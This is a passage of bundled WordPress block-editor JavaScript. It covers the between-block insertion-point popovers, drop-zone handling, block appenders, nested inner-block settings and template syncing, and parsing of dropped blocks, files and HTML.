35976 children: CustomAppender ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(CustomAppender, {}) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(DefaultAppender, { rootClientId })
35977 }
35978 );
35979}
35980
35981
35982;// ./node_modules/@wordpress/block-editor/build-module/components/block-popover/inbetween.js
35983
35984
35985
35986
35987
35988
35989
35990
35991
35992const inbetween_MAX_POPOVER_RECOMPUTE_COUNTER = Number.MAX_SAFE_INTEGER;
35993function BlockPopoverInbetween({
35994 previousClientId,
35995 nextClientId,
35996 children,
35997 __unstablePopoverSlot,
35998 __unstableContentRef,
35999 operation = "insert",
36000 nearestSide = "right",
36001 ...props
36002}) {
36003 const [popoverRecomputeCounter, forcePopoverRecompute] = (0,external_wp_element_namespaceObject.useReducer)(
36004 // Module is there to make sure that the counter doesn't overflow.
36005 (s) => (s + 1) % inbetween_MAX_POPOVER_RECOMPUTE_COUNTER,
36006 0
36007 );
36008 const { orientation, rootClientId, isVisible } = (0,external_wp_data_namespaceObject.useSelect)(
36009 (select) => {
36010 const {
36011 getBlockListSettings,
36012 getBlockRootClientId,
36013 isBlockVisible
36014 } = select(store);
36015 const _rootClientId = getBlockRootClientId(
36016 previousClientId ?? nextClientId
36017 );
36018 return {
36019 orientation: getBlockListSettings(_rootClientId)?.orientation || "vertical",
36020 rootClientId: _rootClientId,
36021 isVisible: isBlockVisible(previousClientId) && isBlockVisible(nextClientId)
36022 };
36023 },
36024 [previousClientId, nextClientId]
36025 );
36026 const previousElement = useBlockElement(previousClientId);
36027 const nextElement = useBlockElement(nextClientId);
36028 const isVertical = orientation === "vertical";
36029 const popoverAnchor = (0,external_wp_element_namespaceObject.useMemo)(() => {
36030 if (
36031 // popoverRecomputeCounter is by definition always equal or greater than 0.
36032 // This check is only there to satisfy the correctness of the
36033 // exhaustive-deps rule for the `useMemo` hook.
36034 popoverRecomputeCounter < 0 || !previousElement && !nextElement || !isVisible
36035 ) {
36036 return void 0;
36037 }
36038 const contextElement = operation === "group" ? nextElement || previousElement : previousElement || nextElement;
36039 return {
36040 contextElement,
36041 getBoundingClientRect() {
36042 const previousRect = previousElement ? previousElement.getBoundingClientRect() : null;
36043 const nextRect = nextElement ? nextElement.getBoundingClientRect() : null;
36044 let left = 0;
36045 let top = 0;
36046 let width = 0;
36047 let height = 0;
36048 if (operation === "group") {
36049 const targetRect = nextRect || previousRect;
36050 top = targetRect.top;
36051 width = 0;
36052 height = targetRect.bottom - targetRect.top;
36053 left = nearestSide === "left" ? targetRect.left - 2 : targetRect.right - 2;
36054 } else if (isVertical) {
36055 top = previousRect ? previousRect.bottom : nextRect.top;
36056 width = previousRect ? previousRect.width : nextRect.width;
36057 height = nextRect && previousRect ? nextRect.top - previousRect.bottom : 0;
36058 left = previousRect ? previousRect.left : nextRect.left;
36059 } else {
36060 top = previousRect ? previousRect.top : nextRect.top;
36061 height = previousRect ? previousRect.height : nextRect.height;
36062 if ((0,external_wp_i18n_namespaceObject.isRTL)()) {
36063 left = nextRect ? nextRect.right : previousRect.left;
36064 width = previousRect && nextRect ? previousRect.left - nextRect.right : 0;
36065 } else {
36066 left = previousRect ? previousRect.right : nextRect.left;
36067 width = previousRect && nextRect ? nextRect.left - previousRect.right : 0;
36068 }
36069 width = Math.max(width, 0);
36070 }
36071 return new window.DOMRect(left, top, width, height);
36072 }
36073 };
36074 }, [
36075 previousElement,
36076 nextElement,
36077 popoverRecomputeCounter,
36078 isVertical,
36079 isVisible,
36080 operation,
36081 nearestSide
36082 ]);
36083 const popoverScrollRef = use_popover_scroll_default(__unstableContentRef);
36084 (0,external_wp_element_namespaceObject.useLayoutEffect)(() => {
36085 if (!previousElement) {
36086 return;
36087 }
36088 const observer = new window.MutationObserver(forcePopoverRecompute);
36089 observer.observe(previousElement, { attributes: true });
36090 return () => {
36091 observer.disconnect();
36092 };
36093 }, [previousElement]);
36094 (0,external_wp_element_namespaceObject.useLayoutEffect)(() => {
36095 if (!nextElement) {
36096 return;
36097 }
36098 const observer = new window.MutationObserver(forcePopoverRecompute);
36099 observer.observe(nextElement, { attributes: true });
36100 return () => {
36101 observer.disconnect();
36102 };
36103 }, [nextElement]);
36104 (0,external_wp_element_namespaceObject.useLayoutEffect)(() => {
36105 if (!previousElement) {
36106 return;
36107 }
36108 previousElement.ownerDocument.defaultView.addEventListener(
36109 "resize",
36110 forcePopoverRecompute
36111 );
36112 return () => {
36113 previousElement.ownerDocument.defaultView?.removeEventListener(
36114 "resize",
36115 forcePopoverRecompute
36116 );
36117 };
36118 }, [previousElement]);
36119 if (!previousElement && !nextElement || !isVisible) {
36120 return null;
36121 }
36122 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
36123 external_wp_components_namespaceObject.Popover,
36124 {
36125 ref: popoverScrollRef,
36126 animate: false,
36127 anchor: popoverAnchor,
36128 focusOnMount: false,
36129 __unstableSlotName: __unstablePopoverSlot,
36130 inline: !__unstablePopoverSlot,
36131 ...props,
36132 className: dist_clsx(
36133 "block-editor-block-popover",
36134 "block-editor-block-popover__inbetween",
36135 props.className
36136 ),
36137 resize: false,
36138 flip: false,
36139 placement: "overlay",
36140 variant: "unstyled",
36141 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-block-popover__inbetween-container", children })
36142 },
36143 nextClientId + "--" + rootClientId
36144 );
36145}
36146var inbetween_default = BlockPopoverInbetween;
36147
36148
36149;// ./node_modules/@wordpress/block-editor/build-module/components/block-popover/drop-zone.js
36150
36151
36152
36153
36154
36155
36156const animateVariants = {
36157 hide: { opacity: 0, scaleY: 0.75 },
36158 show: { opacity: 1, scaleY: 1 },
36159 exit: { opacity: 0, scaleY: 0.9 }
36160};
36161function BlockDropZonePopover({
36162 __unstablePopoverSlot,
36163 __unstableContentRef
36164}) {
36165 const { clientId } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
36166 const { getBlockOrder, getBlockInsertionPoint } = select(store);
36167 const insertionPoint = getBlockInsertionPoint();
36168 const order = getBlockOrder(insertionPoint.rootClientId);
36169 if (!order.length) {
36170 return {};
36171 }
36172 return {
36173 clientId: order[insertionPoint.index]
36174 };
36175 }, []);
36176 const reducedMotion = (0,external_wp_compose_namespaceObject.useReducedMotion)();
36177 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
36178 cover_default,
36179 {
36180 clientId,
36181 __unstablePopoverSlot,
36182 __unstableContentRef,
36183 className: "block-editor-block-popover__drop-zone",
36184 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
36185 external_wp_components_namespaceObject.__unstableMotion.div,
36186 {
36187 "data-testid": "block-popover-drop-zone",
36188 initial: reducedMotion ? animateVariants.show : animateVariants.hide,
36189 animate: animateVariants.show,
36190 exit: reducedMotion ? animateVariants.show : animateVariants.exit,
36191 className: "block-editor-block-popover__drop-zone-foreground"
36192 }
36193 )
36194 }
36195 );
36196}
36197var drop_zone_default = BlockDropZonePopover;
36198
36199
36200;// ./node_modules/@wordpress/block-editor/build-module/components/block-tools/insertion-point.js
36201
36202
36203
36204
36205
36206
36207
36208
36209
36210
36211
36212const InsertionPointOpenRef = (0,external_wp_element_namespaceObject.createContext)();
36213InsertionPointOpenRef.displayName = "InsertionPointOpenRefContext";
36214function InbetweenInsertionPointPopover({
36215 __unstablePopoverSlot,
36216 __unstableContentRef,
36217 operation = "insert",
36218 nearestSide = "right"
36219}) {
36220 const { selectBlock, hideInsertionPoint } = (0,external_wp_data_namespaceObject.useDispatch)(store);
36221 const openRef = (0,external_wp_element_namespaceObject.useContext)(InsertionPointOpenRef);
36222 const ref = (0,external_wp_element_namespaceObject.useRef)();
36223 const {
36224 orientation,
36225 previousClientId,
36226 nextClientId,
36227 rootClientId,
36228 isInserterShown,
36229 isDistractionFree,
36230 isZoomOutMode
36231 } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
36232 const {
36233 getBlockOrder,
36234 getBlockListSettings,
36235 getBlockInsertionPoint,
36236 isBlockBeingDragged,
36237 getPreviousBlockClientId,
36238 getNextBlockClientId,
36239 getSettings,
36240 isZoomOut
36241 } = unlock(select(store));
36242 const insertionPoint = getBlockInsertionPoint();
36243 const order = getBlockOrder(insertionPoint.rootClientId);
36244 if (!order.length) {
36245 return {};
36246 }
36247 let _previousClientId = order[insertionPoint.index - 1];
36248 let _nextClientId = order[insertionPoint.index];
36249 while (isBlockBeingDragged(_previousClientId)) {
36250 _previousClientId = getPreviousBlockClientId(_previousClientId);
36251 }
36252 while (isBlockBeingDragged(_nextClientId)) {
36253 _nextClientId = getNextBlockClientId(_nextClientId);
36254 }
36255 const settings = getSettings();
36256 return {
36257 previousClientId: _previousClientId,
36258 nextClientId: _nextClientId,
36259 orientation: getBlockListSettings(insertionPoint.rootClientId)?.orientation || "vertical",
36260 rootClientId: insertionPoint.rootClientId,
36261 isDistractionFree: settings.isDistractionFree,
36262 isInserterShown: insertionPoint?.__unstableWithInserter,
36263 isZoomOutMode: isZoomOut()
36264 };
36265 }, []);
36266 const { getBlockEditingMode } = (0,external_wp_data_namespaceObject.useSelect)(store);
36267 const disableMotion = (0,external_wp_compose_namespaceObject.useReducedMotion)();
36268 function onClick(event) {
36269 if (event.target === ref.current && nextClientId && getBlockEditingMode(nextClientId) !== "disabled") {
36270 selectBlock(nextClientId, -1);
36271 }
36272 }
36273 function maybeHideInserterPoint(event) {
36274 if (event.target === ref.current && !openRef.current) {
36275 hideInsertionPoint();
36276 }
36277 }
36278 function onFocus(event) {
36279 if (event.target !== ref.current) {
36280 openRef.current = true;
36281 }
36282 }
36283 const maybeResetOpenRef = (0,external_wp_element_namespaceObject.useCallback)(
36284 (node) => {
36285 if (!node && openRef.current) {
36286 openRef.current = false;
36287 }
36288 },
36289 [openRef]
36290 );
36291 const lineVariants = {
36292 // Initial position starts from the center and invisible.
36293 start: {
36294 opacity: 0,
36295 scale: 0
36296 },
36297 // The line expands to fill the container. If the inserter is visible it
36298 // is delayed so it appears orchestrated.
36299 rest: {
36300 opacity: 1,
36301 scale: 1,
36302 transition: { delay: isInserterShown ? 0.5 : 0, type: "tween" }
36303 },
36304 hover: {
36305 opacity: 1,
36306 scale: 1,
36307 transition: { delay: 0.5, type: "tween" }
36308 }
36309 };
36310 const inserterVariants = {
36311 start: {
36312 scale: disableMotion ? 1 : 0
36313 },
36314 rest: {
36315 scale: 1,
36316 transition: { delay: 0.4, type: "tween" }
36317 }
36318 };
36319 if (isDistractionFree) {
36320 return null;
36321 }
36322 if (isZoomOutMode && operation !== "insert") {
36323 return null;
36324 }
36325 const orientationClassname = orientation === "horizontal" || operation === "group" ? "is-horizontal" : "is-vertical";
36326 const className = dist_clsx(
36327 "block-editor-block-list__insertion-point",
36328 orientationClassname
36329 );
36330 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
36331 inbetween_default,
36332 {
36333 previousClientId,
36334 nextClientId,
36335 __unstablePopoverSlot,
36336 __unstableContentRef,
36337 operation,
36338 nearestSide,
36339 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
36340 external_wp_components_namespaceObject.__unstableMotion.div,
36341 {
36342 layout: !disableMotion,
36343 initial: disableMotion ? "rest" : "start",
36344 animate: "rest",
36345 whileHover: "hover",
36346 whileTap: "pressed",
36347 exit: "start",
36348 ref,
36349 tabIndex: -1,
36350 onClick,
36351 onFocus,
36352 className: dist_clsx(className, {
36353 "is-with-inserter": isInserterShown
36354 }),
36355 onHoverEnd: maybeHideInserterPoint,
36356 children: [
36357 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
36358 external_wp_components_namespaceObject.__unstableMotion.div,
36359 {
36360 variants: lineVariants,
36361 className: "block-editor-block-list__insertion-point-indicator",
36362 "data-testid": "block-list-insertion-point-indicator"
36363 }
36364 ),
36365 isInserterShown && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
36366 external_wp_components_namespaceObject.__unstableMotion.div,
36367 {
36368 variants: inserterVariants,
36369 className: dist_clsx(
36370 "block-editor-block-list__insertion-point-inserter"
36371 ),
36372 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
36373 inserter_default,
36374 {
36375 ref: maybeResetOpenRef,
36376 position: "bottom center",
36377 clientId: nextClientId,
36378 rootClientId,
36379 __experimentalIsQuick: true,
36380 onToggle: (isOpen) => {
36381 openRef.current = isOpen;
36382 },
36383 onSelectOrClose: () => {
36384 openRef.current = false;
36385 }
36386 }
36387 )
36388 }
36389 )
36390 ]
36391 }
36392 )
36393 }
36394 );
36395}
36396function InsertionPoint(props) {
36397 const { insertionPoint, isVisible, isBlockListEmpty } = (0,external_wp_data_namespaceObject.useSelect)(
36398 (select) => {
36399 const {
36400 getBlockInsertionPoint,
36401 isBlockInsertionPointVisible,
36402 getBlockCount
36403 } = select(store);
36404 const blockInsertionPoint = getBlockInsertionPoint();
36405 return {
36406 insertionPoint: blockInsertionPoint,
36407 isVisible: isBlockInsertionPointVisible(),
36408 isBlockListEmpty: getBlockCount(blockInsertionPoint?.rootClientId) === 0
36409 };
36410 },
36411 []
36412 );
36413 if (!isVisible || // Don't render the insertion point if the block list is empty.
36414 // The insertion point will be represented by the appender instead.
36415 isBlockListEmpty) {
36416 return null;
36417 }
36418 return insertionPoint.operation === "replace" ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
36419 drop_zone_default,
36420 {
36421 ...props
36422 },
36423 `${insertionPoint.rootClientId}-${insertionPoint.index}`
36424 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
36425 InbetweenInsertionPointPopover,
36426 {
36427 operation: insertionPoint.operation,
36428 nearestSide: insertionPoint.nearestSide,
36429 ...props
36430 }
36431 );
36432}
36433
36434
36435;// ./node_modules/@wordpress/block-editor/build-module/components/block-list/use-in-between-inserter.js
36436
36437
36438
36439
36440
36441
36442
36443function useInBetweenInserter() {
36444 const openRef = (0,external_wp_element_namespaceObject.useContext)(InsertionPointOpenRef);
36445 const isInBetweenInserterDisabled = (0,external_wp_data_namespaceObject.useSelect)(
36446 (select) => select(store).getSettings().isDistractionFree || unlock(select(store)).isZoomOut(),
36447 []
36448 );
36449 const {
36450 getBlockListSettings,
36451 getBlockIndex,
36452 isMultiSelecting,
36453 getSelectedBlockClientIds,
36454 getSettings,
36455 getTemplateLock,
36456 __unstableIsWithinBlockOverlay,
36457 getBlockEditingMode,
36458 getBlockName,
36459 getBlockAttributes,
36460 getParentSectionBlock
36461 } = unlock((0,external_wp_data_namespaceObject.useSelect)(store));
36462 const { showInsertionPoint, hideInsertionPoint } = (0,external_wp_data_namespaceObject.useDispatch)(store);
36463 return (0,external_wp_compose_namespaceObject.useRefEffect)(
36464 (node) => {
36465 if (isInBetweenInserterDisabled) {
36466 return;
36467 }
36468 function onMouseMove(event) {
36469 if (openRef === void 0 || openRef.current) {
36470 return;
36471 }
36472 if (event.target.nodeType === event.target.TEXT_NODE) {
36473 return;
36474 }
36475 if (isMultiSelecting()) {
36476 return;
36477 }
36478 if (!event.target.classList.contains(
36479 "block-editor-block-list__layout"
36480 )) {
36481 hideInsertionPoint();
36482 return;
36483 }
36484 let rootClientId;
36485 if (!event.target.classList.contains("is-root-container")) {
36486 const blockElement = !!event.target.getAttribute(
36487 "data-block"
36488 ) ? event.target : event.target.closest("[data-block]");
36489 rootClientId = blockElement.getAttribute("data-block");
36490 }
36491 if (getTemplateLock(rootClientId) || getBlockEditingMode(rootClientId) === "disabled" || getBlockName(rootClientId) === "core/block" || rootClientId && getBlockAttributes(rootClientId).layout?.isManualPlacement) {
36492 return;
36493 }
36494 const blockListSettings = getBlockListSettings(rootClientId);
36495 const orientation = blockListSettings?.orientation || "vertical";
36496 const captureToolbars = !!blockListSettings?.__experimentalCaptureToolbars;
36497 const offsetTop = event.clientY;
36498 const offsetLeft = event.clientX;
36499 const children = Array.from(event.target.children);
36500 let element = children.find((blockEl) => {
36501 const blockElRect = blockEl.getBoundingClientRect();
36502 return blockEl.classList.contains("wp-block") && orientation === "vertical" && blockElRect.top > offsetTop || blockEl.classList.contains("wp-block") && orientation === "horizontal" && ((0,external_wp_i18n_namespaceObject.isRTL)() ? blockElRect.right < offsetLeft : blockElRect.left > offsetLeft);
36503 });
36504 if (!element) {
36505 hideInsertionPoint();
36506 return;
36507 }
36508 if (!element.id) {
36509 element = element.firstElementChild;
36510 if (!element) {
36511 hideInsertionPoint();
36512 return;
36513 }
36514 }
36515 const clientId = element.id.slice("block-".length);
36516 if (!clientId || __unstableIsWithinBlockOverlay(clientId) || !!getParentSectionBlock(clientId)) {
36517 return;
36518 }
36519 if (getSelectedBlockClientIds().includes(clientId) && orientation === "vertical" && !captureToolbars && !getSettings().hasFixedToolbar) {
36520 return;
36521 }
36522 const elementRect = element.getBoundingClientRect();
36523 if (orientation === "horizontal" && (event.clientY > elementRect.bottom || event.clientY < elementRect.top) || orientation === "vertical" && (event.clientX > elementRect.right || event.clientX < elementRect.left)) {
36524 hideInsertionPoint();
36525 return;
36526 }
36527 const index = getBlockIndex(clientId);
36528 if (index === 0) {
36529 hideInsertionPoint();
36530 return;
36531 }
36532 showInsertionPoint(rootClientId, index, {
36533 __unstableWithInserter: true
36534 });
36535 }
36536 node.addEventListener("mousemove", onMouseMove);
36537 return () => {
36538 node.removeEventListener("mousemove", onMouseMove);
36539 };
36540 },
36541 [
36542 openRef,
36543 getBlockListSettings,
36544 getBlockIndex,
36545 isMultiSelecting,
36546 showInsertionPoint,
36547 hideInsertionPoint,
36548 getSelectedBlockClientIds,
36549 isInBetweenInserterDisabled
36550 ]
36551 );
36552}
36553
36554
36555;// ./node_modules/@wordpress/block-editor/build-module/components/block-selection-clearer/index.js
36556
36557
36558
36559
36560function useBlockSelectionClearer() {
36561 const { getSettings, hasSelectedBlock, hasMultiSelection } = (0,external_wp_data_namespaceObject.useSelect)(store);
36562 const { clearSelectedBlock } = (0,external_wp_data_namespaceObject.useDispatch)(store);
36563 const { clearBlockSelection: isEnabled } = getSettings();
36564 return (0,external_wp_compose_namespaceObject.useRefEffect)(
36565 (node) => {
36566 if (!isEnabled) {
36567 return;
36568 }
36569 function onMouseDown(event) {
36570 if (!hasSelectedBlock() && !hasMultiSelection()) {
36571 return;
36572 }
36573 if (event.target !== node) {
36574 return;
36575 }
36576 clearSelectedBlock();
36577 }
36578 node.addEventListener("mousedown", onMouseDown);
36579 return () => {
36580 node.removeEventListener("mousedown", onMouseDown);
36581 };
36582 },
36583 [hasSelectedBlock, hasMultiSelection, clearSelectedBlock, isEnabled]
36584 );
36585}
36586function BlockSelectionClearer(props) {
36587 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ref: useBlockSelectionClearer(), ...props });
36588}
36589
36590
36591;// ./node_modules/@wordpress/block-editor/build-module/components/inner-blocks/button-block-appender.js
36592
36593
36594
36595
36596function ButtonBlockAppender({
36597 showSeparator,
36598 isFloating,
36599 onAddBlock,
36600 isToggle
36601}) {
36602 const { clientId } = useBlockEditContext();
36603 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
36604 button_block_appender_default,
36605 {
36606 className: dist_clsx({
36607 "block-list-appender__toggle": isToggle
36608 }),
36609 rootClientId: clientId,
36610 showSeparator,
36611 isFloating,
36612 onAddBlock
36613 }
36614 );
36615}
36616
36617
36618;// ./node_modules/@wordpress/block-editor/build-module/components/inner-blocks/default-block-appender.js
36619
36620
36621
36622function default_block_appender_DefaultBlockAppender() {
36623 const { clientId } = useBlockEditContext();
36624 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(DefaultBlockAppender, { rootClientId: clientId });
36625}
36626
36627
36628;// ./node_modules/@wordpress/block-editor/build-module/components/inner-blocks/use-nested-settings-update.js
36629
36630
36631
36632
36633
36634
36635const pendingSettingsUpdates = /* @__PURE__ */ new WeakMap();
36636function createShallowMemo() {
36637 let value;
36638 return (newValue) => {
36639 if (value === void 0 || !external_wp_isShallowEqual_default()(value, newValue)) {
36640 value = newValue;
36641 }
36642 return value;
36643 };
36644}
36645function useShallowMemo(value) {
36646 const [memo] = (0,external_wp_element_namespaceObject.useState)(createShallowMemo);
36647 return memo(value);
36648}
36649function useNestedSettingsUpdate(clientId, parentLock, allowedBlocks, prioritizedInserterBlocks, defaultBlock, directInsert, __experimentalDefaultBlock, __experimentalDirectInsert, templateLock, captureToolbars, orientation, layout) {
36650 const registry = (0,external_wp_data_namespaceObject.useRegistry)();
36651 const _allowedBlocks = useShallowMemo(allowedBlocks);
36652 const _prioritizedInserterBlocks = useShallowMemo(
36653 prioritizedInserterBlocks
36654 );
36655 const _templateLock = templateLock === void 0 || parentLock === "contentOnly" ? parentLock : templateLock;
36656 (0,external_wp_element_namespaceObject.useLayoutEffect)(() => {
36657 const newSettings = {
36658 allowedBlocks: _allowedBlocks,
36659 prioritizedInserterBlocks: _prioritizedInserterBlocks,
36660 templateLock: _templateLock
36661 };
36662 if (captureToolbars !== void 0) {
36663 newSettings.__experimentalCaptureToolbars = captureToolbars;
36664 }
36665 if (orientation !== void 0) {
36666 newSettings.orientation = orientation;
36667 } else {
36668 const layoutType = getLayoutType(layout?.type);
36669 newSettings.orientation = layoutType.getOrientation(layout);
36670 }
36671 if (__experimentalDefaultBlock !== void 0) {
36672 external_wp_deprecated_default()("__experimentalDefaultBlock", {
36673 alternative: "defaultBlock",
36674 since: "6.3",
36675 version: "6.4"
36676 });
36677 newSettings.defaultBlock = __experimentalDefaultBlock;
36678 }
36679 if (defaultBlock !== void 0) {
36680 newSettings.defaultBlock = defaultBlock;
36681 }
36682 if (__experimentalDirectInsert !== void 0) {
36683 external_wp_deprecated_default()("__experimentalDirectInsert", {
36684 alternative: "directInsert",
36685 since: "6.3",
36686 version: "6.4"
36687 });
36688 newSettings.directInsert = __experimentalDirectInsert;
36689 }
36690 if (directInsert !== void 0) {
36691 newSettings.directInsert = directInsert;
36692 }
36693 if (newSettings.directInsert !== void 0 && typeof newSettings.directInsert !== "boolean") {
36694 external_wp_deprecated_default()("Using `Function` as a `directInsert` argument", {
36695 alternative: "`boolean` values",
36696 since: "6.5"
36697 });
36698 }
36699 if (!pendingSettingsUpdates.get(registry)) {
36700 pendingSettingsUpdates.set(registry, {});
36701 }
36702 pendingSettingsUpdates.get(registry)[clientId] = newSettings;
36703 window.queueMicrotask(() => {
36704 const settings = pendingSettingsUpdates.get(registry);
36705 if (Object.keys(settings).length) {
36706 const { updateBlockListSettings } = registry.dispatch(store);
36707 updateBlockListSettings(settings);
36708 pendingSettingsUpdates.set(registry, {});
36709 }
36710 });
36711 }, [
36712 clientId,
36713 _allowedBlocks,
36714 _prioritizedInserterBlocks,
36715 _templateLock,
36716 defaultBlock,
36717 directInsert,
36718 __experimentalDefaultBlock,
36719 __experimentalDirectInsert,
36720 captureToolbars,
36721 orientation,
36722 layout,
36723 registry
36724 ]);
36725}
36726
36727
36728;// ./node_modules/@wordpress/block-editor/build-module/components/inner-blocks/use-inner-block-template-sync.js
36729
36730
36731
36732
36733
36734function useInnerBlockTemplateSync(clientId, template, templateLock, templateInsertUpdatesSelection) {
36735 const registry = (0,external_wp_data_namespaceObject.useRegistry)();
36736 const existingTemplateRef = (0,external_wp_element_namespaceObject.useRef)(null);
36737 (0,external_wp_element_namespaceObject.useLayoutEffect)(() => {
36738 let isCancelled = false;
36739 const {
36740 getBlocks,
36741 getSelectedBlocksInitialCaretPosition,
36742 isBlockSelected
36743 } = registry.select(store);
36744 const { replaceInnerBlocks, __unstableMarkNextChangeAsNotPersistent } = registry.dispatch(store);
36745 window.queueMicrotask(() => {
36746 if (isCancelled) {
36747 return;
36748 }
36749 const currentInnerBlocks = getBlocks(clientId);
36750 const shouldApplyTemplate = currentInnerBlocks.length === 0 || templateLock === "all" || templateLock === "contentOnly";
36751 const hasTemplateChanged = !es6_default()(
36752 template,
36753 existingTemplateRef.current
36754 );
36755 if (!shouldApplyTemplate || !hasTemplateChanged) {
36756 return;
36757 }
36758 existingTemplateRef.current = template;
36759 const nextBlocks = (0,external_wp_blocks_namespaceObject.synchronizeBlocksWithTemplate)(
36760 currentInnerBlocks,
36761 template
36762 );
36763 if (!es6_default()(nextBlocks, currentInnerBlocks)) {
36764 __unstableMarkNextChangeAsNotPersistent();
36765 replaceInnerBlocks(
36766 clientId,
36767 nextBlocks,
36768 currentInnerBlocks.length === 0 && templateInsertUpdatesSelection && nextBlocks.length !== 0 && isBlockSelected(clientId),
36769 // This ensures the "initialPosition" doesn't change when applying the template
36770 // If we're supposed to focus the block, we'll focus the first inner block
36771 // otherwise, we won't apply any auto-focus.
36772 // This ensures for instance that the focus stays in the inserter when inserting the "buttons" block.
36773 getSelectedBlocksInitialCaretPosition()
36774 );
36775 }
36776 });
36777 return () => {
36778 isCancelled = true;
36779 };
36780 }, [
36781 template,
36782 templateLock,
36783 clientId,
36784 registry,
36785 templateInsertUpdatesSelection
36786 ]);
36787}
36788
36789
36790;// ./node_modules/@wordpress/block-editor/build-module/components/inner-blocks/use-block-context.js
36791
36792
36793
36794function useBlockContext(clientId) {
36795 return (0,external_wp_data_namespaceObject.useSelect)(
36796 (select) => {
36797 const block = select(store).getBlock(clientId);
36798 if (!block) {
36799 return void 0;
36800 }
36801 const blockType = select(external_wp_blocks_namespaceObject.store).getBlockType(block.name);
36802 if (!blockType) {
36803 return void 0;
36804 }
36805 if (Object.keys(blockType.providesContext).length === 0) {
36806 return void 0;
36807 }
36808 return Object.fromEntries(
36809 Object.entries(blockType.providesContext).map(
36810 ([contextName, attributeName]) => [
36811 contextName,
36812 block.attributes[attributeName]
36813 ]
36814 )
36815 );
36816 },
36817 [clientId]
36818 );
36819}
36820
36821
36822;// ./node_modules/@wordpress/block-editor/build-module/components/use-on-block-drop/index.js
36823
36824
36825
36826
36827
36828function parseDropEvent(event) {
36829 let result = {
36830 srcRootClientId: null,
36831 srcClientIds: null,
36832 srcIndex: null,
36833 type: null,
36834 blocks: null
36835 };
36836 if (!event.dataTransfer) {
36837 return result;
36838 }
36839 try {
36840 result = Object.assign(
36841 result,
36842 JSON.parse(event.dataTransfer.getData("wp-blocks"))
36843 );
36844 } catch (err) {
36845 return result;
36846 }
36847 return result;
36848}
36849function onBlockDrop(targetRootClientId, targetBlockIndex, getBlockIndex, getClientIdsOfDescendants, moveBlocks, insertOrReplaceBlocks, clearSelectedBlock, operation, getBlock) {
36850 return (event) => {
36851 const {
36852 srcRootClientId: sourceRootClientId,
36853 srcClientIds: sourceClientIds,
36854 type: dropType,
36855 blocks
36856 } = parseDropEvent(event);
36857 if (dropType === "inserter") {
36858 clearSelectedBlock();
36859 const blocksToInsert = blocks.map(
36860 (block) => (0,external_wp_blocks_namespaceObject.cloneBlock)(block)
36861 );
36862 insertOrReplaceBlocks(blocksToInsert, true, null);
36863 }
36864 if (dropType === "block") {
36865 const sourceBlockIndex = getBlockIndex(sourceClientIds[0]);
36866 if (sourceRootClientId === targetRootClientId && sourceBlockIndex === targetBlockIndex) {
36867 return;
36868 }
36869 if (sourceClientIds.includes(targetRootClientId) || getClientIdsOfDescendants(sourceClientIds).some(
36870 (id) => id === targetRootClientId
36871 )) {
36872 return;
36873 }
36874 if (operation === "group") {
36875 const blocksToInsert = sourceClientIds.map(
36876 (clientId) => getBlock(clientId)
36877 );
36878 insertOrReplaceBlocks(
36879 blocksToInsert,
36880 true,
36881 null,
36882 sourceClientIds
36883 );
36884 return;
36885 }
36886 const isAtSameLevel = sourceRootClientId === targetRootClientId;
36887 const draggedBlockCount = sourceClientIds.length;
36888 const insertIndex = isAtSameLevel && sourceBlockIndex < targetBlockIndex ? targetBlockIndex - draggedBlockCount : targetBlockIndex;
36889 moveBlocks(sourceClientIds, sourceRootClientId, insertIndex);
36890 }
36891 };
36892}
36893function onFilesDrop(targetRootClientId, getSettings, updateBlockAttributes, canInsertBlockType, insertOrReplaceBlocks) {
36894 return (files) => {
36895 if (!getSettings().mediaUpload) {
36896 return;
36897 }
36898 const transformation = (0,external_wp_blocks_namespaceObject.findTransform)(
36899 (0,external_wp_blocks_namespaceObject.getBlockTransforms)("from"),
36900 (transform) => transform.type === "files" && canInsertBlockType(transform.blockName, targetRootClientId) && transform.isMatch(files)
36901 );
36902 if (transformation) {
36903 const blocks = transformation.transform(
36904 files,
36905 updateBlockAttributes
36906 );
36907 insertOrReplaceBlocks(blocks);
36908 }
36909 };
36910}
36911function onHTMLDrop(insertOrReplaceBlocks) {
36912 return (HTML) => {
36913 const blocks = (0,external_wp_blocks_namespaceObject.pasteHandler)({ HTML, mode: "BLOCKS" });
36914 if (blocks.length) {
36915 insertOrReplaceBlocks(blocks);
36916 }
36917 };
36918}
36919function useOnBlockDrop(targetRootClientId, targetBlockIndex, options = {}) {
36920 const { operation = "insert", nearestSide = "right" } = options;
36921 const {
36922 canInsertBlockType,
36923 getBlockIndex,
36924 getClientIdsOfDescendants,
36925 getBlockOrder,
36926 getBlocksByClientId,
36927 getSettings,
36928 getBlock
36929 } = (0,external_wp_data_namespaceObject.useSelect)(store);
36930 const { getGroupingBlockName } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blocks_namespaceObject.store);
36931 const {
36932 insertBlocks,
36933 moveBlocksToPosition,
36934 updateBlockAttributes,
36935 clearSelectedBlock,
36936 replaceBlocks,
36937 removeBlocks
36938 } = (0,external_wp_data_namespaceObject.useDispatch)(store);
36939 const registry = (0,external_wp_data_namespaceObject.useRegistry)();
